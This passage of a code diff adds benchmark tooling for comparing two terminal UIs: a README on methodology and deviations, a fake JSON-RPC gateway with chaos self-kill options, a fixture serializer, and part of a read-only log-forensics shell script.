(`summary.pipeline.cpu_s`). Only that socket's server is killed at the end.
|
||||
Note tmux re-encodes the UI's output for the outer client, so `pty_bytes_total`
|
||||
here is the post-tmux byte count, not the UI's raw output.
|
||||
- **frame pacing (M6)**: cpu-paced and pipeline record every PTY chunk
|
||||
timestamp+size; bursts separated by >4ms gaps are frames →
|
||||
`summary.frame_pacing` (fps, interframe p50/p95, bytes/frame p50/p95,
|
||||
coalesced count). Scroll runs record the wheel phase only. There is no
|
||||
env-gated renderer frame counter in ui-opentui to use as ground truth —
|
||||
@opentui/core keeps `renderStats.fps` internally but nothing exports it;
|
||||
wiring it would need a ui-source patch (out of scope here).
|
||||
- **echo (M7)**: keystroke chars avoid `u`/`p`/`s`/digits (the OpenTUI status
|
||||
clock repaints `up: Ns` at 1Hz) and matching runs on ANSI-stripped output
|
||||
(raw chunks are full of CSI final letters). The submit leg works because the
|
||||
fake gateway answers `prompt.submit` with a tiny streamed reply carrying the
|
||||
marker token `zqxjv` when `HERMES_FAKE_SUBMIT_RESPONSE=1`.
|
||||
|
||||
Configs: `ink` · `otui-capped` (`HERMES_TUI_MAX_MESSAGES=3000`, the default) ·
|
||||
`otui-uncapped` (`=100000`). Launch parity with `hermes_cli/main.py`:
|
||||
Ink = `node --expose-gc ui-tui/dist/entry.js`, OpenTUI =
|
||||
`node --experimental-ffi --no-warnings ui-opentui/dist/main.js`, both with
|
||||
`NODE_OPTIONS=--max-old-space-size=<heap>` (8192 on the unconstrained host —
|
||||
what the launcher picks outside a container).
|
||||
|
||||
## E3 (constrained Docker survival)
|
||||
|
||||
`E3-lite` runs the same harness inside a generic `node:26` container (NOT the
|
||||
shipped image) with the worktree bind-mounted read-only and `--memory=1g
|
||||
--memory-swap=1g`; the whole container (UI + fake gateway + harness) shares the
|
||||
limit. See `run-e3.sh` if present, or the report's survival table for the exact
|
||||
invocation used.
|
||||
|
||||
## What actually ran on 2026-06-11 (E1 host + E3-lite) — deviations from the plan
|
||||
|
||||
- **3 reps** for mem3000 (not 5) and **scroll at 2000 msgs** (not 3000): the
|
||||
OpenTUI engine on this tree (sha 197d499, dist built from 50e3471 tree state)
|
||||
**crashes at ≈3000 fixture msgs** — an uncaught `Error: Failed to create
|
||||
SyntaxStyle` (native handle allocation fails; every `TextBufferRenderable`
|
||||
creates one in @opentui/core 0.4.0), masked by a second
|
||||
`Failed to create optimized buffer` crash inside the renderer's
|
||||
uncaughtException handler. Postmortems are in each result's `pty_tail`;
|
||||
RSS at crash ≈880MB — far below the 2GB cap, so it is a handle/pool limit,
|
||||
not memory. This dominates every OpenTUI cell past ~3000 msgs.
|
||||
- **OpenTUI headless node-count: not run.** `scripts/mem-bench.tsx` under Node
|
||||
FFI dies on the first fixture turn with `ERR_INVALID_ARG_VALUE …
|
||||
textBufferViewSetViewport` (the known Bun→Node u32-coordinate class; the
|
||||
production binary carries the ffiSafe clamp, the headless test renderer path
|
||||
does not) and then hangs. The Ink fd-3 sampler ran fine.
|
||||
- **Startup real-gateway variant: probed, not run as a cell.** A full run would
|
||||
forge real sessions in the user's `~/.hermes` store. Measured standalone:
|
||||
the real `tui_gateway` (venv python) emits `gateway.ready` in **131ms median**
|
||||
(×10, range 130–138ms) — add that to the fake-gateway startup numbers.
|
||||
- **No cgroup OOM kills observed** anywhere (Ink at 10k msgs peaks ~321MB;
|
||||
OpenTUI crashes before reaching the cap), so the cap-hit machinery
|
||||
(memory.events / journal fallback) never fired in anger; E3-lite classified
|
||||
the OpenTUI death correctly as a crash (`oom_kill=0`, exit 7).
|
||||
- E2 (shipped Docker image): not run — image build time prohibitive in this
|
||||
session; E3-lite (generic node:26) covers the constrained-memory question.
|
||||
- Drain-loop starvation: a handful of OpenTUI burst runs recorded 11–18ms max
|
||||
event-loop lag in the harness (>10ms budget, flagged `drain_ok:false` in
|
||||
those results); all paced/scroll/startup runs stayed under 10ms.
|
||||
|
||||
## Accounting + known deviations (by design)
|
||||
|
||||
- **"messages" = fixture rows** (`rowsPerTurn` accounting, identical to
|
||||
`ui-opentui/scripts/mem-bench.tsx`), so numbers are comparable with the
|
||||
pre-registered expectations. ~46% of fixture rows are user/system rows.
|
||||
- **User/system rows are not streamed**: they are composer-local in both UIs
|
||||
(no wire event exists), so PTY runs mount only the assistant/tool rows —
|
||||
the renderable-heavy part that carries the memory claim. Consequence: the
|
||||
OpenTUI store cap (3000 rows) binds at ≈6.6k fixture-msgs in PTY runs.
|
||||
- **Digest gate**: final-screen digest after a resize-forced repaint, ANSI
|
||||
stripped, cut at the composer hint, `up: Ns` normalized (the OpenTUI status
|
||||
bar has a 1Hz uptime clock; the transcript region itself is deterministic).
|
||||
- The headless `scripts/mem-bench.tsx` numbers are diagnostic-only and flagged
|
||||
`instrumented`/`diagnostic_only` — never headlined.
|
||||
|
||||
## Build/run parity vs an installed hermes (audit, 2026-06-11)
|
||||
- Both UIs are built by their own repo build scripts (same artifacts an install produces) and
|
||||
spawned at their real entries: otui `node --experimental-ffi --no-warnings dist/main.js`
|
||||
(identical to production); ink `dist/entry.js` with env mirroring `_launch_tui`
|
||||
(NODE_ENV=production).
|
||||
- Two deviations: (1) ink's spawn adds `--expose-gc` — audited: nothing ever calls gc(), the
|
||||
flag is inert; kept for the instrumented sampler runs, harmless in clean runs. (2) both UIs
|
||||
run on the pinned Node 26.3 per protocol ("never compare across Node majors") — installed ink
|
||||
commonly runs Node 20/22, so ink's ABSOLUTE numbers are "ink on Node 26"; the relative
|
||||
comparison is unaffected. An as-installed-Node ink re-run is a worthwhile extra cell.
|
||||
239
bench/fake-gateway.mjs
Executable file
239
bench/fake-gateway.mjs
Executable file
@@ -0,0 +1,239 @@
|
||||
#!/usr/bin/env node
|
||||
// Fake tui_gateway — substituted via HERMES_PYTHON so BOTH UIs spawn THIS
|
||||
// executable as `$HERMES_PYTHON -m tui_gateway.entry` (argv ignored) and speak
|
||||
// the identical NDJSON JSON-RPC wire over stdio. ZERO changes to either UI.
|
||||
//
|
||||
// Wire contract (mirrors tui_gateway/entry.py + both UI clients):
|
||||
// - unsolicited {jsonrpc:"2.0",method:"event",params:{type:"gateway.ready",payload:{skin:{}}}}
|
||||
// - events: {jsonrpc:"2.0",method:"event",params:{type,payload?}} (no id)
|
||||
// - responses: {jsonrpc:"2.0",id,result} for every request, canned per method.
|
||||
//
|
||||
// NEVER writes to stderr (both UIs surface gateway stderr lines INTO the UI as
|
||||
// activity rows / gateway.stderr events, which would perturb the rendered
|
||||
// transcript). Progress/telemetry goes to HERMES_FAKE_PROGRESS (append-only
|
||||
// NDJSON file the harness tails).
|
||||
//
|
||||
// Env config:
|
||||
// HERMES_FAKE_FIXTURE NDJSON fixture path (from fixture-stream.mjs). Optional.
|
||||
// HERMES_FAKE_MODE burst | paced | load-then-idle (default burst)
|
||||
// HERMES_FAKE_RATE events/sec for paced mode (default 30)
|
||||
// HERMES_FAKE_START_DELAY_MS delay after session.create reply before streaming (default 1500)
|
||||
// HERMES_FAKE_SAMPLE_EVERY fixture-msg boundary cadence for progress lines (default 100)
|
||||
// HERMES_FAKE_PROGRESS progress NDJSON file path (required for harness runs)
|
||||
// HERMES_FAKE_PIDFILE write own pid here at startup (harness discovers the
|
||||
// gateway pid; a REWRITE by a respawned instance is the
|
||||
// harness's auto-heal detection signal)
|
||||
// HERMES_FAKE_DIE_AT "<msgIndex>:<kill|tool-kill>" — chaos cells: self-SIGKILL
|
||||
// at fixture msg N (kill), or at the first tool.* event
|
||||
// after msg N (tool-kill). Self-termination is deterministic
|
||||
// vs racy external timing. SIGSTOP stays external (a stopped
|
||||
// process can't stop itself usefully).
|
||||
// HERMES_FAKE_DIE_FLAG die-once flag file: created just before the self-kill so
|
||||
// the UI's auto-heal RESPAWN (same env) does not die again
|
||||
// HERMES_FAKE_SUBMIT_RESPONSE "1" → answer prompt.submit with a tiny streamed reply
|
||||
// carrying the marker token "zqxjv" (echo-latency cells)
|
||||
//
|
||||
// Modes: burst = write as fast as the pipe accepts (await 'drain' on
|
||||
// backpressure, so emission tracks UI ingestion within the ~64KB pipe buffer);
|
||||
// paced = HERMES_FAKE_RATE events/sec; load-then-idle = burst, then sit idle
|
||||
// (scroll-latency runs drive input afterwards). Exits on stdin EOF (the UIs
|
||||
// close stdin to stop the gateway) — same lifecycle as the real child.
|
||||
|
||||
import { appendFileSync, existsSync, readFileSync, writeFileSync } from 'node:fs'
|
||||
import { createInterface } from 'node:readline'
|
||||
|
||||
const FIXTURE = process.env.HERMES_FAKE_FIXTURE || ''
|
||||
const MODE = process.env.HERMES_FAKE_MODE || 'burst'
|
||||
const RATE = Math.max(1, Number.parseInt(process.env.HERMES_FAKE_RATE ?? '30', 10) || 30)
|
||||
const START_DELAY_MS = Number.parseInt(process.env.HERMES_FAKE_START_DELAY_MS ?? '1500', 10) || 1500
|
||||
const SAMPLE_EVERY = Math.max(1, Number.parseInt(process.env.HERMES_FAKE_SAMPLE_EVERY ?? '100', 10) || 100)
|
||||
const PROGRESS = process.env.HERMES_FAKE_PROGRESS || ''
|
||||
const PIDFILE = process.env.HERMES_FAKE_PIDFILE || ''
|
||||
const DIE_FLAG = process.env.HERMES_FAKE_DIE_FLAG || ''
|
||||
const SUBMIT_RESPONSE = process.env.HERMES_FAKE_SUBMIT_RESPONSE === '1'
|
||||
|
||||
// Chaos self-termination (deterministic, no external kill races). Die-once:
|
||||
// if the flag file exists a previous instance already died here — this is the
|
||||
// auto-heal respawn, which must stream to completion.
|
||||
let dieAtMsgs = null
|
||||
let dieKind = 'kill'
|
||||
{
|
||||
const m = (process.env.HERMES_FAKE_DIE_AT || '').match(/^(\d+):(kill|tool-kill)$/)
|
||||
if (m) {
|
||||
dieAtMsgs = Number(m[1])
|
||||
dieKind = m[2]
|
||||
}
|
||||
if (dieAtMsgs !== null && DIE_FLAG && existsSync(DIE_FLAG)) dieAtMsgs = null
|
||||
}
|
||||
|
||||
if (PIDFILE) {
|
||||
try {
|
||||
writeFileSync(PIDFILE, String(process.pid))
|
||||
} catch {
|
||||
/* best-effort */
|
||||
}
|
||||
}
|
||||
|
||||
const t0 = Date.now()
|
||||
const progress = obj => {
|
||||
if (!PROGRESS) return
|
||||
try {
|
||||
appendFileSync(PROGRESS, JSON.stringify({ ...obj, t: Date.now() - t0, wall: Date.now() }) + '\n')
|
||||
} catch {
|
||||
/* progress is best-effort; never crash the wire */
|
||||
}
|
||||
}
|
||||
|
||||
// UI gone (pipe closed) → exit quietly like the real child on stdin EOF.
|
||||
process.stdout.on('error', () => process.exit(0))
|
||||
|
||||
const writeFrame = obj => {
|
||||
const ok = process.stdout.write(JSON.stringify(obj) + '\n')
|
||||
return ok ? null : new Promise(r => process.stdout.once('drain', r))
|
||||
}
|
||||
const emitEvent = params => writeFrame({ jsonrpc: '2.0', method: 'event', params })
|
||||
|
||||
// ── Canned RPC results (recon'd from both UIs' startup sequences) ──────
|
||||
const SESSION_ID = 'bench-session-0001'
|
||||
const INFO = {
|
||||
model: 'bench/fake-model',
|
||||
version: '0.0.0-bench',
|
||||
cwd: process.env.HERMES_CWD || process.cwd(),
|
||||
skills: {},
|
||||
tools: { core: ['terminal', 'read_file'] },
|
||||
usage: { calls: 0, input: 0, output: 0, total: 0 }
|
||||
}
|
||||
|
||||
function resultFor(method, params) {
|
||||
switch (method) {
|
||||
case 'setup.status':
|
||||
return { provider_configured: true }
|
||||
case 'session.create':
|
||||
return { session_id: SESSION_ID, info: INFO }
|
||||
case 'session.resume':
|
||||
case 'session.activate':
|
||||
return { session_id: SESSION_ID, messages: [], info: INFO }
|
||||
case 'session.most_recent':
|
||||
return {}
|
||||
case 'session.list':
|
||||
case 'session.active_list':
|
||||
return { sessions: [] }
|
||||
case 'config.get':
|
||||
if (params && params.key === 'mtime') return { mtime: 1 }
|
||||
if (params && params.key === 'full') return { config: { display: {} } }
|
||||
return { value: '' }
|
||||
case 'commands.catalog':
|
||||
return { pairs: [['help', 'show help']], canon: {}, categories: [], sub: {}, skill_count: 0 }
|
||||
case 'startup.catalog':
|
||||
return { tools: {}, skills: {}, mcp_servers: [] }
|
||||
case 'model.options':
|
||||
return { providers: [] }
|
||||
case 'session.title':
|
||||
return { title: 'bench' }
|
||||
case 'prompt.submit':
|
||||
return { ok: true }
|
||||
case 'session.interrupt':
|
||||
return { ok: true }
|
||||
case 'complete.slash':
|
||||
case 'complete.path':
|
||||
return { items: [] }
|
||||
default:
|
||||
return {}
|
||||
}
|
||||
}
|
||||
|
||||
// ── Chaos self-kill ────────────────────────────────────────────────────
|
||||
// Flag first (sync — survives SIGKILL), then a 'dying' progress line (gives
|
||||
// the harness the precise kill wall-clock), then SIGKILL self.
|
||||
function dieNow(msgs) {
|
||||
if (DIE_FLAG) {
|
||||
try {
|
||||
writeFileSync(DIE_FLAG, '1')
|
||||
} catch {
|
||||
/* best-effort */
|
||||
}
|
||||
}
|
||||
progress({ k: 'dying', kind: dieKind, msgs })
|
||||
process.kill(process.pid, 'SIGKILL')
|
||||
}
|
||||
|
||||
// ── Fixture streaming ──────────────────────────────────────────────────
|
||||
let streaming = false
|
||||
async function streamFixture() {
|
||||
if (streaming || !FIXTURE) return
|
||||
streaming = true
|
||||
const lines = readFileSync(FIXTURE, 'utf8').split('\n')
|
||||
let msgs = 0
|
||||
let events = 0
|
||||
let nextBoundary = SAMPLE_EVERY
|
||||
const paced = MODE === 'paced'
|
||||
const interval = paced ? 1000 / RATE : 0
|
||||
let nextAt = Date.now()
|
||||
progress({ k: 'stream_start', mode: MODE })
|
||||
for (const raw of lines) {
|
||||
if (!raw) continue
|
||||
const item = JSON.parse(raw)
|
||||
if (item.k === 'e') {
|
||||
if (paced) {
|
||||
const wait = nextAt - Date.now()
|
||||
if (wait > 0) await new Promise(r => setTimeout(r, wait))
|
||||
nextAt += interval
|
||||
}
|
||||
const drained = emitEvent(item.v)
|
||||
if (drained) await drained
|
||||
events++
|
||||
// tool-kill: die exactly as a tool-call event goes over the wire (the
|
||||
// first tool.* event after the armed msg index — the UI is left with a
|
||||
// started, never-completed tool).
|
||||
if (dieAtMsgs !== null && dieKind === 'tool-kill' && msgs >= dieAtMsgs && typeof item.v?.type === 'string' && item.v.type.startsWith('tool.')) {
|
||||
dieNow(msgs)
|
||||
}
|
||||
} else if (item.k === 't') {
|
||||
msgs = item.msgs
|
||||
if (msgs >= nextBoundary) {
|
||||
progress({ k: 'boundary', msgs, events })
|
||||
while (nextBoundary <= msgs) nextBoundary += SAMPLE_EVERY
|
||||
}
|
||||
if (dieAtMsgs !== null && dieKind === 'kill' && msgs >= dieAtMsgs) dieNow(msgs)
|
||||
}
|
||||
// {"k":"r"} row markers: composer-local rows, nothing on the wire.
|
||||
}
|
||||
progress({ k: 'done', msgs, events })
|
||||
}
|
||||
|
||||
// ── Main: handshake + request loop ─────────────────────────────────────
|
||||
progress({ k: 'start', pid: process.pid, mode: MODE, fixture: FIXTURE })
|
||||
emitEvent({ type: 'gateway.ready', payload: { skin: {} } })
|
||||
|
||||
const rl = createInterface({ input: process.stdin })
|
||||
rl.on('line', line => {
|
||||
let msg
|
||||
try {
|
||||
msg = JSON.parse(line)
|
||||
} catch {
|
||||
return
|
||||
}
|
||||
if (!msg || typeof msg !== 'object' || msg.id === undefined) return
|
||||
const method = String(msg.method ?? '')
|
||||
progress({ k: 'req', method })
|
||||
void writeFrame({ jsonrpc: '2.0', id: msg.id, result: resultFor(method, msg.params) })
|
||||
if (method === 'session.create' || method === 'session.resume') {
|
||||
setTimeout(() => {
|
||||
streamFixture().catch(() => process.exit(1))
|
||||
}, START_DELAY_MS)
|
||||
}
|
||||
// Echo cells: a real (tiny) reply to prompt.submit so input→first-token-paint
|
||||
// is measurable. The marker token "zqxjv" never occurs in the lorem fixture.
|
||||
if (method === 'prompt.submit' && SUBMIT_RESPONSE) {
|
||||
setTimeout(() => {
|
||||
progress({ k: 'submit_response' })
|
||||
void emitEvent({ type: 'message.start' })
|
||||
void emitEvent({ type: 'message.delta', payload: { text: 'Echo probe reply zqxjv — bench token-paint marker.' } })
|
||||
void emitEvent({ type: 'message.complete' })
|
||||
}, 30)
|
||||
}
|
||||
})
|
||||
rl.on('close', () => {
|
||||
progress({ k: 'eof' })
|
||||
process.exit(0)
|
||||
})
|
||||
86
bench/fixture-stream.mjs
Normal file
86
bench/fixture-stream.mjs
Normal file
@@ -0,0 +1,86 @@
|
||||
#!/usr/bin/env node
|
||||
// Serialize the deterministic lumpy-turn fixture (ui-opentui/scripts/fixture.ts)
|
||||
// to NDJSON for the fake gateway. We check in THIS generator invocation, not the
|
||||
// generated file (it is megabytes); the stream is byte-reproducible for a given
|
||||
// message count because the fixture is seeded by turn index.
|
||||
//
|
||||
// The generator is imported DIRECTLY from ui-opentui/scripts/fixture.ts via
|
||||
// Node >=26 type stripping — no port, no drift. `applyTurn(store, turn)` only
|
||||
// calls store.pushUser/pushSystem/apply, so a recorder stub extracts the exact
|
||||
// per-turn action stream the OpenTUI mem-bench drives.
|
||||
//
|
||||
// Line format (one JSON object per line):
|
||||
// {"k":"e","v":{...GatewayEvent...}} → sent on the wire as
|
||||
// {jsonrpc:"2.0",method:"event",params:v}
|
||||
// {"k":"r","role":"user"|"system"} → row marker, NOT sent (composer-local
|
||||
// rows have no wire representation —
|
||||
// see README "deviation: user rows")
|
||||
// {"k":"t","msgs":N} → end-of-turn marker with the CUMULATIVE
|
||||
// fixture-message count (rowsPerTurn
|
||||
// accounting, same as scripts/mem-bench.tsx)
|
||||
//
|
||||
// Usage: node fixture-stream.mjs --msgs 3000 [--out path]
|
||||
// Default out: bench/.cache/fixture-<msgs>.ndjson (prints path + sha256)
|
||||
|
||||
import { createHash } from 'node:crypto'
|
||||
import { createWriteStream, mkdirSync } from 'node:fs'
|
||||
import { dirname, resolve } from 'node:path'
|
||||
import { fileURLToPath, pathToFileURL } from 'node:url'
|
||||
|
||||
const here = dirname(fileURLToPath(import.meta.url))
|
||||
const fixtureTs = resolve(here, '../ui-opentui/scripts/fixture.ts')
|
||||
|
||||
function parseArgs(argv) {
|
||||
const args = { msgs: 3000, out: null }
|
||||
for (let i = 2; i < argv.length; i++) {
|
||||
if (argv[i] === '--msgs') args.msgs = Number.parseInt(argv[++i], 10)
|
||||
else if (argv[i] === '--out') args.out = argv[++i]
|
||||
}
|
||||
if (!Number.isFinite(args.msgs) || args.msgs <= 0) throw new Error('--msgs must be a positive integer')
|
||||
return args
|
||||
}
|
||||
|
||||
export async function generate(msgs, outPath) {
|
||||
const { applyTurn, rowsPerTurn } = await import(pathToFileURL(fixtureTs).href)
|
||||
mkdirSync(dirname(outPath), { recursive: true })
|
||||
const out = createWriteStream(outPath)
|
||||
const hash = createHash('sha256')
|
||||
const write = line => {
|
||||
const data = line + '\n'
|
||||
hash.update(data)
|
||||
if (!out.write(data)) return new Promise(r => out.once('drain', r))
|
||||
return null
|
||||
}
|
||||
|
||||
let pushed = 0
|
||||
let events = 0
|
||||
let turn = 0
|
||||
while (pushed < msgs) {
|
||||
const lines = []
|
||||
const recorder = {
|
||||
pushUser: () => lines.push('{"k":"r","role":"user"}'),
|
||||
pushSystem: () => lines.push('{"k":"r","role":"system"}'),
|
||||
apply: ev => {
|
||||
lines.push(JSON.stringify({ k: 'e', v: ev }))
|
||||
events++
|
||||
}
|
||||
}
|
||||
applyTurn(recorder, turn)
|
||||
pushed += rowsPerTurn(turn)
|
||||
lines.push(JSON.stringify({ k: 't', msgs: pushed }))
|
||||
for (const line of lines) {
|
||||
const wait = write(line)
|
||||
if (wait) await wait
|
||||
}
|
||||
turn++
|
||||
}
|
||||
await new Promise((res, rej) => out.end(err => (err ? rej(err) : res())))
|
||||
return { path: outPath, msgs: pushed, events, turns: turn, sha256: hash.digest('hex') }
|
||||
}
|
||||
|
||||
if (import.meta.main) {
|
||||
const args = parseArgs(process.argv)
|
||||
const outPath = args.out ?? resolve(here, `.cache/fixture-${args.msgs}.ndjson`)
|
||||
const info = await generate(args.msgs, outPath)
|
||||
process.stdout.write(JSON.stringify(info) + '\n')
|
||||
}
|
||||
371
bench/forensics.sh
Executable file
371
bench/forensics.sh
Executable file
@@ -0,0 +1,371 @@
|
||||
#!/usr/bin/env bash
|
||||
# forensics.sh — assemble a chronological "what killed my gateway" timeline.
|
||||
#
|
||||
# Usage: bench/forensics.sh <since>
|
||||
# <since> is anything `date -d` accepts: '3 days ago', '2026-06-08', 'yesterday' ...
|
||||
#
|
||||
# Read-only against system state: it greps logs, queries the sessions DB via a
|
||||
# read-only sqlite URI, reads journalctl/dmesg, lists worktrees and running
|
||||
# processes. It never kills, restarts or writes anything outside mktemp.
|
||||
#
|
||||
# Sources merged into one timestamp-sorted timeline (local time, ISO):
|
||||
# [gateway.log] ~/.hermes/logs/gateway.log* gateway lifecycle lines
|
||||
# [errors.log] ~/.hermes/logs/errors.log* ERROR/CRITICAL lines
|
||||
# [exit-diag] ~/.hermes/logs/gateway-exit-diag.log (JSONL, UTC)
|
||||
# [tui-crash] ~/.hermes/logs/tui_gateway_crash.log exit/signal/exception markers
|
||||
# [opentui] ~/.hermes/logs/opentui-v2.log (JSONL, epoch ms)
|
||||
# [shutdown-diag] ~/.hermes/logs/gateway-shutdown-diag.log SIGTERM dump headers
|
||||
# [oom]/[systemd]/[sleep] journalctl --user / -k (dmesg fallback)
|
||||
# [sessions] ~/.hermes/state.db sessions table (tui/cli sources)
|
||||
# [worktree] git worktree lists + dir mtimes under ~/github
|
||||
# [proc] currently running tui_gateway / dist/main.js / dist/entry.js
|
||||
set -uo pipefail
|
||||
|
||||
SINCE_SPEC="${1:-}"
|
||||
if [ -z "$SINCE_SPEC" ]; then
|
||||
echo "usage: $0 <since> (e.g. '3 days ago', '2026-06-08')" >&2
|
||||
exit 2
|
||||
fi
|
||||
SINCE_EPOCH="$(date -d "$SINCE_SPEC" +%s 2>/dev/null)" || {
|
||||
echo "error: date -d could not parse: $SINCE_SPEC" >&2
|
||||
exit 2
|
||||
}
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
|
||||
PY="$REPO_ROOT/.venv/bin/python"
|
||||
[ -x "$PY" ] || PY="$(command -v python3)"
|
||||
|
||||
TMP="$(mktemp -d /tmp/forensics.XXXXXX)"
|
||||
trap 'rm -rf "$TMP"' EXIT
|
||||
|
||||
# ---------------------------------------------------------------- journal ---
|
||||
# User journal: OOM notices, hermes-gateway unit lifecycle, suspend/resume.
|
||||
journalctl --user --since "@$SINCE_EPOCH" -o short-iso-precise --no-pager 2>"$TMP/jr-user.err" \
|
||||
| grep -iE 'oom|out of memory|killed process|hermes-gateway[^ ]*\.service|suspend|hibernat|Scheduled restart' \
|
||||
> "$TMP/journal-user.txt" || true
|
||||
|
||||
# Kernel journal: the authoritative OOM-kill records.
|
||||
if ! journalctl -k --since "@$SINCE_EPOCH" -o short-iso-precise --no-pager 2>"$TMP/jr-kern.err" \
|
||||
| grep -iE 'out of memory|oom-kill|oom_reaper|invoked oom-killer' \
|
||||
> "$TMP/journal-kernel.txt"; then
|
||||
: > "$TMP/journal-kernel.txt"
|
||||
fi
|
||||
if [ -s "$TMP/jr-kern.err" ] && [ ! -s "$TMP/journal-kernel.txt" ]; then
|
||||
echo "note: journalctl -k unavailable ($(head -1 "$TMP/jr-kern.err")); trying dmesg" >&2
|
||||
dmesg -T 2>/dev/null | grep -iE 'out of memory|oom-kill|invoked oom-killer' > "$TMP/dmesg.txt" || true
|
||||
fi
|
||||
[ -e "$TMP/dmesg.txt" ] || : > "$TMP/dmesg.txt"
|
||||
|
||||
# ------------------------------------------------------------- processes ---
|
||||
ps -eo pid,lstart,rss,args --sort=lstart 2>/dev/null \
|
||||
| grep -E 'tui_gateway|dist/main\.js|dist/entry\.js' \
|
||||
| grep -vE 'grep|forensics' > "$TMP/ps.txt" || true
|
||||
|
||||
# -------------------------------------------------------------- worktrees ---
|
||||
{
|
||||
for d in "$HOME"/github/*/; do
|
||||
[ -e "$d/.git" ] || continue
|
||||
echo "## repo $d"
|
||||
timeout 10 git -C "$d" worktree list 2>/dev/null || echo "(git worktree list failed)"
|
||||
done
|
||||
} > "$TMP/worktrees.txt" 2>/dev/null || true
|
||||
|
||||
# ---------------------------------------------------------------- python ---
|
||||
export FORENSICS_SINCE="$SINCE_EPOCH" FORENSICS_TMP="$TMP" FORENSICS_SINCE_SPEC="$SINCE_SPEC"
|
||||
exec "$PY" - <<'PYEOF'
|
||||
import json, os, re, sqlite3, sys, time
|
||||
from datetime import datetime, timezone
|
||||
|
||||
SINCE = float(os.environ["FORENSICS_SINCE"])
|
||||
TMP = os.environ["FORENSICS_TMP"]
|
||||
NOW = time.time()
|
||||
HOME = os.path.expanduser("~")
|
||||
LOGS = os.path.join(HOME, ".hermes", "logs")
|
||||
|
||||
events = [] # (epoch, tag, msg)
|
||||
|
||||
def add(ep, tag, msg):
|
||||
if ep is None or ep < SINCE or ep > NOW + 120:
|
||||
return
|
||||
msg = " ".join(str(msg).split())
|
||||
if msg:
|
||||
events.append((ep, tag, msg[:500]))
|
||||
|
||||
def local_naive(s, fmt):
|
||||
"""Parse a naive local-time string -> epoch."""
|
||||
try:
|
||||
return datetime.strptime(s, fmt).timestamp()
|
||||
except ValueError:
|
||||
return None
|
||||
|
||||
def iso_any(s):
|
||||
"""Parse an ISO timestamp (Z / +00:00 / +0530 offsets) -> epoch."""
|
||||
s = s.strip().replace("Z", "+00:00")
|
||||
# journald short-iso uses +0530 (no colon); fromisoformat on 3.11+ copes.
|
||||
try:
|
||||
return datetime.fromisoformat(s).timestamp()
|
||||
except ValueError:
|
||||
m = re.match(r"(.*)([+-]\d{2})(\d{2})$", s)
|
||||
if m:
|
||||
try:
|
||||
return datetime.fromisoformat(f"{m.group(1)}{m.group(2)}:{m.group(3)}").timestamp()
|
||||
except ValueError:
|
||||
return None
|
||||
return None
|
||||
|
||||
def read_lines(path):
|
||||
try:
|
||||
with open(path, errors="replace") as f:
|
||||
return f.readlines()
|
||||
except OSError:
|
||||
return []
|
||||
|
||||
PYLOG = re.compile(r"^(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}),\d+\s+(\w+)\s+(.*)$")
|
||||
|
||||
# --- gateway.log* : lifecycle lines -----------------------------------------
|
||||
LIFECYCLE = re.compile(
|
||||
r"Starting Hermes Gateway|Gateway running|Press Ctrl\+C|Shutting down|shutdown"
|
||||
r"|stopp(ed|ing)|Recovered \d+ background|reaped|restart|Cron ticker started",
|
||||
re.I,
|
||||
)
|
||||
for path in sorted(p for p in os.listdir(LOGS) if p.startswith("gateway.log")):
|
||||
for line in read_lines(os.path.join(LOGS, path)):
|
||||
m = PYLOG.match(line)
|
||||
if m and LIFECYCLE.search(m.group(3)):
|
||||
add(local_naive(m.group(1), "%Y-%m-%d %H:%M:%S"), "gateway.log", m.group(3))
|
||||
|
||||
# --- errors.log* : ERROR/CRITICAL header lines ------------------------------
|
||||
for path in sorted(p for p in os.listdir(LOGS) if p.startswith("errors.log")):
|
||||
for line in read_lines(os.path.join(LOGS, path)):
|
||||
m = PYLOG.match(line)
|
||||
if m and m.group(2) in ("ERROR", "CRITICAL"):
|
||||
add(local_naive(m.group(1), "%Y-%m-%d %H:%M:%S"), "errors.log",
|
||||
f"{m.group(2)} {m.group(3)}")
|
||||
|
||||
# --- gateway-exit-diag.log : JSONL, UTC ISO ---------------------------------
|
||||
for line in read_lines(os.path.join(LOGS, "gateway-exit-diag.log")):
|
||||
try:
|
||||
rec = json.loads(line)
|
||||
except (json.JSONDecodeError, ValueError):
|
||||
continue
|
||||
tag = rec.get("tag", "?")
|
||||
extra = ""
|
||||
if tag == "asyncio.run.SystemExit":
|
||||
extra = f" code={rec.get('code')}"
|
||||
elif tag == "gateway.start":
|
||||
extra = f" replace={rec.get('replace')} argv={' '.join(rec.get('argv', [])[-3:])}"
|
||||
elif tag == "asyncio.run.returned":
|
||||
extra = f" success={rec.get('success')}"
|
||||
add(iso_any(rec.get("ts", "")), "exit-diag", f"{tag} pid={rec.get('pid')}{extra}")
|
||||
|
||||
# --- tui_gateway_crash.log : section markers + [tui-parent] lines -----------
|
||||
SECTION = re.compile(r"^=== (.+?) · (\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})(?: · (.*?))? ===\s*$")
|
||||
TUIPARENT = re.compile(r"^\[tui-parent\] (\S+Z) (.*)$")
|
||||
for line in read_lines(os.path.join(LOGS, "tui_gateway_crash.log")):
|
||||
m = SECTION.match(line)
|
||||
if m:
|
||||
what, ts, detail = m.group(1), m.group(2), m.group(3) or ""
|
||||
add(local_naive(ts, "%Y-%m-%d %H:%M:%S"), "tui-crash",
|
||||
f"{what}{' · ' + detail if detail else ''}")
|
||||
continue
|
||||
m = TUIPARENT.match(line)
|
||||
if m and ("[lifecycle]" in m.group(2) or "uncaughtException" in m.group(2)):
|
||||
add(iso_any(m.group(1)), "tui-parent", m.group(2))
|
||||
|
||||
# --- opentui-v2.log : JSONL, epoch ms ---------------------------------------
|
||||
for line in read_lines(os.path.join(LOGS, "opentui-v2.log")):
|
||||
try:
|
||||
rec = json.loads(line)
|
||||
except (json.JSONDecodeError, ValueError):
|
||||
continue
|
||||
keep = (rec.get("scope") == "gateway"
|
||||
or rec.get("level") in ("warn", "error")
|
||||
or "transport" in str(rec.get("msg", "")))
|
||||
if keep:
|
||||
data = rec.get("data") or {}
|
||||
brief = {k: v for k, v in data.items() if k in
|
||||
("python", "reason", "code", "signal", "cause", "sid", "attempt")}
|
||||
add(rec.get("t", 0) / 1000.0, "opentui",
|
||||
f"{rec.get('level')} {rec.get('scope')}: {rec.get('msg')} {brief if brief else ''}")
|
||||
|
